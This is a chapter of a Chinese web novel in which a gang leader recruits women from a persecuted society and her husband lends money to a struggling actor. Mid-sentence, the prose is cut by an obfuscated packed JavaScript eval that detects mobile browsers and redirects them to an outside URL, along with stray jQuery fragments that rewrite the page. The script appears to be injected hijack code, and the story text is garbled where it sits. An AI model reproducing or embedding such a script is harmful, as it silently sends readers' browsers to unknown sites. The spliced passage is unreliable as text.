夜风萧瑟，惊动一树枣叶。


    深夜来访不走正门，只会是恶客，简州立刻吹响胸前挂着的响哨预警。接着快速放下陪着儿子夜巡的猫老娘，似看到猎物的饿狼一样扑了过去。


    他在乔璃手下养了半年，整个人吹气球一样壮起来，外表丝毫看不出只是个十五六岁的少年，又从青龙那里学过拳脚，一时声势惊人。


    谁料翻墙进来的三人手脚功夫也不弱，不是花架子，且配合甚佳，从一时惊愕中回神，不一会儿就给眼前这半大小子按倒在地。


    一照眼就能看出这些穿着紧身黑衣的女人们手里没有武器，简州就也没摸怀里的枪，横竖发过预警，负责值夜的人也该到了。


    云艳带着两个持枪女门徒赶来：乔宅安排门徒轮班值夜有一段时间，除了毛头小贼，还是第一次对付打着入侵目的进来的人，一时惊讶好奇甚至盖过紧张愤怒。


    各处房间都亮起灯，乔璃也披着外套赶了过来，简州也从地上爬起，她恰好对上他瞪得跟车大灯一样、正叽里咕噜转的大眼睛。


    少年虽然沉默少言，但乔璃不会小看猫的好奇心，对人挥挥手，招呼他走到自己身边。


    “你们是什么人？为何深夜闯入乔公馆？谁派你们来的？”


    云艳掐着看似是领头人的后脖颈，迫使对方以一个特定的姿势跪在膝盖上。


    这也是她从青龙那里学来的手段：这个姿势跪上五分钟，腿脚血液就开始不通畅，爬起来跑都会慢几拍。


    被用枪对准的三人有一瞬慌乱，被云艳死死扣住的那个一边咋舌她手下力道，一边开口回答：“我们是女子血光团的，我们没有恶意。”


    另外一人也连忙辩解：“对对，我们都没带大刀哩！”


    云艳立刻和身旁的女门徒屠灿对视一眼。


    女子血光团，这不是之前林锦镛一派扣来的黑锅，宣称乔璃是首领的那个组织吗？


    乔璃借着月色，视线从三人黝黑粗糙的脸庞飞掠过去：“既然是血光团的女英，那么就请进屋一叙吧。”


    进入待客厅，同时醒来但没去凑热闹的周莲泱泡了几杯红枣姜茶端过来，唬得云艳眉头一跳：乔宅不雇仆役，平时跑腿传话用得还是泰春班剩下的杂役，半夜无人，只能让正头夫君泡茶……


    她能对乔璃嬉笑打闹，对于这位风骨脱俗秀峻、平日又被捧着照顾的头领爱夫倒有点局促。


    小心翼翼地喝一口茶，云艳觉得烫嘴又烫心，连连去瞥跟自己搭班的简州。


    只见这人压根没喝茶，也没在意谁端来的茶杯，耳朵支得高高的，一门心思听几个血光团的女子讲故事。


    队友迟钝，云艳只能扼腕。


    今夜既然说到女子血光团，就不得不提一提早年的鲁地、直隶一带的义和拳团体。再往上考，义和拳源起打着复明旗号不断给前朝皇帝搞事的白莲教。


    这么一个神奇的民间团体，折腾完前朝折腾洋人，也少不了内部械斗。发展到现在，其中自然也有不少女子结社，分蘖组织“血光照”就是其中之一。


    去掉传说中妖魔化的部分，以及嗜血成性暗杀成风的污名，“女子血光团”其实源于“歃血为盟”的旧俗，又包含“以经血破洋枪”等迷信说法。加入的多半是被世道逼到无路可退的逃难女子，在乱世之中彼此依靠，报团取暖求一条活路罢了。


    可想而知，她们的能量并不大，多流连与村镇，跑到海市，还是被刺杀元府重要官员的流言逼得到处逃蹿。


    对于地方府官来说，平时不太管私人结社，但流言一出，真能送上几个血光团刺客的女囚，也算一点“政绩”。


    因此血光团社员在直隶一带过得越发艰难，又听闻海市新崛起一个女青帮头领，索性循着谣言，来到海市拜码头。


    仔细打听过她在英租界施行的措令，以及名下还有九天商号与银行药铺，想要加入的意愿就更为强烈。


    听到这里，云艳忍不住问：“那你们为什么要半夜闯进来？”


    领头的女人叫樊芝，另外两人分别叫熊海儿和耿跃，互相对视后，樊芝用一口鲁地口音的官话道：“其实……只是想交个投名状。”


    解释过后，众人才明白过来，她们在血光团里算过来试水的小团体，拳脚最好，会舞大刀，半夜进来，意图探探乔宅的底儿。


    如果真如入无人之境地闯入，投靠时至少也能提些护宅守卫的建议不是。


    云艳听得都震惊了，怎么还能这样……跟贼喊捉贼似的？


    再看乔璃，她并没有什么被冒犯的不满之情。


    “那诸位今夜试完，觉得乔公馆怎么样？”


    个子最高的熊海儿快人快语：“就冲你手下没一枪崩了谁，还让我们进来喝茶，就知道你是个实在人！”


    她们今夜穿得都是粗布土衣，不仔细看，跟面朝黄土背朝天的农妇也差不多。海市人眼高于顶，拉胶皮车的好像都比别的地方更高贵点，乔璃这样平淡中带着尊重的态度，已远远超过几人的期待。


    樊芝说得直白：她们这一团，海市有另外五人接应，直隶乡下还有二十来个女人，大多略通一点粗浅医术，以前在义和拳结社里负责包扎煮饭的活计。


    另一层底气，就是她们这个团虽然人不多，但身体上都没有什么大毛病，能走能打，至少没有裹小脚的。


    现在的问题只有一个，就是乔璃愿不愿意在有过黑锅的前提下，把她们这一小撮人收进势力。


    听完樊芝的简要介绍，乔璃像看着天上忽然掉下来的馅饼一样直视她的眼睛：“当然，你尽可联系血光团姐妹早日过来，一应车马住宿，都有人负责特供。林锦镛算什么东西，没有因噎废食的道理。”


    樊芝眼里爆出惊喜，熊海儿更是挥拳叫了声好，乔璃笑着伸手压了压，顶着一旁耿跃冷静谨慎的眼神，慢声道：“不过，你们拜了我的码头，有些必须规章条例，也得提前分说明白。今日太晚，不如各位先行休息，明日我们仔细商议，看看你们愿不愿意接受。”


    耿跃在三人中充当军师的角色，始终保持警惕，听了这话才微微放松：“这是应该的，多谢乔大人。”


    深更半夜经这么一遭，众人都有些疲累，云艳招呼三个血光团女子去客房休息，乔璃也牵着周莲泱的手，慢慢往小楼走。


    这一路，很静，趟着月光，石子也好似珍珠，两人相伴走在不染尘俗的洁净里。


    周莲泱有片刻恍惚。


    “每天跑来跑去，好容易睡一个囫囵觉，也不成，好难过。”


    青年熟稔地抱住她，也不用刻意驱散夜里的寒气，靠在一起很快就暖了。怀中人把额头抵在他颈窝里，微凉的鼻尖触着肌肤，一边轻蹭，一边继续小声抱怨。


    他摸了摸她的发心，眉眼间也浮起一点忧愁：她镇日这样忙，让他实在担心她的身体。每每回忆起她从前缠绵病榻高烧不断的模样，冷意和恐惧就从心口往外冒，止也止不住。


    “没事的，我有分寸，不至于透支身体。”乔璃不抬眼也知道他在想什么，握住他露在外面的一截腕，轻轻摩挲。


    周莲泱动了一下，丝绸睡衣衣襟流水似的淌开，露出一线锁骨。她禁不住用唇描摹，那片肌肤恰如甜白釉一样，养得白如凝脂，素犹积雪。


    “睡吧。”


    他伸手遮住她的眼睛，扣着后脑将人往怀里拢。


    素了一阵，他不是不想她，可这人整日出门折腾，每晚回来换过衣服就睡着了。


    表妹也不过十七岁，还在长身体，半夜惊醒，不抓紧时间休息，明天非得困乏。


    “等明晚……”


    她嘟囔一句，最后也没明晚个什么出来。


    ------------------------------------------------------


    乔璃今后要做的事，注定要超乎所有人想象。


    不提伏娴的制枪厂，光看她广收人手，今日还要约见苏北水匪也能推敲一二。


    那么，除了帮她造势，他又能做点什么呢？


    周莲泱醒得早，又睡在外侧，便蹑手蹑脚下床，披了衣服去熊槐那儿提早饭。心里想着事没注意路，差点跟迎面走来的钟铭撞个结实。


    “铭哥怎么这么早来了。”


    他脱口而出，很快就明白，钟铭怕是刻意在这堵他的。


    只是……


    “你怎么瘦成这样了？”


    平常穿着戏服打戏的时候还没看出来，换成长袍，衣服简直是挂在钟铭的骨头上晃荡。他的脸色也不太好，眼睛底下沉着青黑，瘦得双


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867779|172195||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    颊也凹进去。


    钟铭露出个苦笑，摇摇头：“还能因为什么。”


    周莲泱知道年前他家里发生了些不太好的事，据说是父兄欠的赌债，更详细的对方也没说。家里的担子压在最年轻的幼子身上，将从前的轻佻活泼压成老成的稳重。


    除了在泰春班唱戏外，据说钟铭还外接了别的戏班的活，玉关柳知道他家情况，对此也睁一只眼闭一只眼。


    毕竟是从开始一直走过来的老人，钟铭不知道泰春班私底下的生意，天长日久也察觉些不对。


    为了避嫌，泰春班中除知道玉关柳底细的老人，另外的戏员房舍都在外面租住。


    钟铭今天过来，是为借钱的。


    “……一千元。”


    他对着周莲泱深深躬下腰。


    “我急用这一笔钱，否则债主就要把我哥哥的双腿打断。”


    钟铭笑得惨不忍睹：“他腿断了到没事，只是日日在家，还要我那怀孕的嫂子伺候。他脾气暴躁，不合心意动手打人是寻常，万一有个不对……”


    他真怕一尸两命。


    周莲泱吐出一口气，强压心情：“你为什么不和柳姨说？你也知道我们现在和青帮的联系，解决一个债主不算什么难事。”


    钟铭摇头：“清官还难断家务事，况且也不只有一个债主，我麻烦柳姨一次，两次，还能麻烦她负责我父兄一辈子不赌钱？”


    “欠条画押，按指印也好，最多半年，我一定还给你。”


    周莲泱皱着眉，到底让他在下面等，回房取了现钱。钟铭欠条提前准备好了，只是周莲泱压着他，让他把利息抹掉。


    解决了燃眉之急，钟铭脸上也恢复点血色，比了比金雀楼，冲着周莲泱一挑眉：“你倒是不急。”


    周莲泱一愣：“急什么？”


    钟铭咽了咽唾沫，凑到他耳边小声问：“嗳，我听翠姐说了，乔璃和那个裴大董也有关系？”


    翠姐说的？


    周莲泱心里刚浮出个疑影儿，就被他用肘轻推一下，钟铭挤眉弄眼，笑得促狭：“我还不知道你们俩什么关系，难道她和裴大董，也……那样？”


    不知为何，周莲泱觉得上下位之事不能这样讲明白，便垂下眼，表情透出些凄苦难言：“怎么可能？铭哥说笑了。我这种人脏，才……那样。至于裴大董……”


    “我不知道，乔璃在外面做什么从不和我说。但裴大董早去苏北当师长了，你大概是听错翠姐的意思了吧。”


    钟铭看他这样，顿时恨铁不成钢起来：“我就知道她不跟你说，真把你当个金腰雀了？你这样乖乖的怎么行？不争不抢，我知道这里可还住着个年轻保镖！”


    周莲泱忍不住了：“简州才十五！”


    钟铭声音比他更大：“你们又才多大！”


    说完又低下声音，悄悄摸摸地讲：“你真的得上上心争宠，不瞒着好兄弟你，我知道一处地方，专门卖助兴的玩器，还能定做。你用了这个，保准她在你身上收心。”


    周莲泱心中叹气，强硬拒绝这种“好意”也不对劲，半推半就被塞入一个写了地址的纸条。


    “你快去还债吧。”


    “好好好，我知道你脸皮薄，但这种事上，主动才是正理。”


    倒也不必……


    周莲泱握着那张纸条，不由苦笑。


    争宠什么的，说得好像自己是皇帝的妃子，但他最初所期盼的不过是她平安幸福。


    乱世之中，这才是最难实现的梦想。


    不过有一点钟铭或许还真帮上忙。想起昨晚她要玩又没有精力玩的模样，周莲泱觉得自己多少能在这方面想些新鲜花样，闲下来让她快活一点，也算放松身心。


    另一头，胡乱吃过表哥拿上来的早饭后，乔璃换好衣物，立刻就得出门。


    血光团一事交由柴凌翠安排，她带着云艳，接过几个精挑细选的“烛龙门面”后，还得赴与路无双的约。


    裴宗邺当时提议，以“结拜姐妹”的方式同路无双建立合作，她表面应下，实际压根没打算这么干。


    如果她只有青帮这么一层势力，那么这说不定是一种合适的手段。


    但她还有吴铁音。


    那么路无双就注定是被收入麾下的势力，而非平起平坐的盟友了。